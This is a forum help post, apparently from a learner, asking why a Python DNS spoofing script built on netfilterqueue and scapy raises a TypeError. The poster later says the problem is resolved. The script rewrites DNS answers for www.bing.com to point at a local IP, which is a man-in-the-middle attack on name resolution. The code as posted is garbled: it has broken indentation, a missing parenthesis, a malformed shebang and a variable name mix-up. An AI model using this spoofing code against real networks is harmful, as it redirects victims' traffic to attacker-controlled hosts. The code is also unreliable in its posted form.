Exception TypeError: "Argument of type 'netfilterqueue.NetfilterQueue'

#usr/env/bin python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):

qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:

   print (' [+] spoofing target')
   answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
   scapy_packet[scapy.DNS].an = answer
   scapy_packet[scapy.DNS].ancount = 1
      del scapy_packet[scapy.IP].len
        del scapy_packet[scapy.IP].chksum
        del scapy_packet[scapy.UDP].len
        del scapy_packet[scapy.UDP].chksum

        packet.set_payload(str(scapy_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

the error which I get on running the code after changing IP tables is:

Exception TypeError: “argument of type ‘netfilterqueue.NetfilterQueue’ is not iterable in ‘net filterqueue.global_callback’ ignored”

I tried searching for it over internet but there are very few answers and non of those helped.

It is slowing me down. Please Help.

Sorry, found the error in code, issue resolved. Thanks.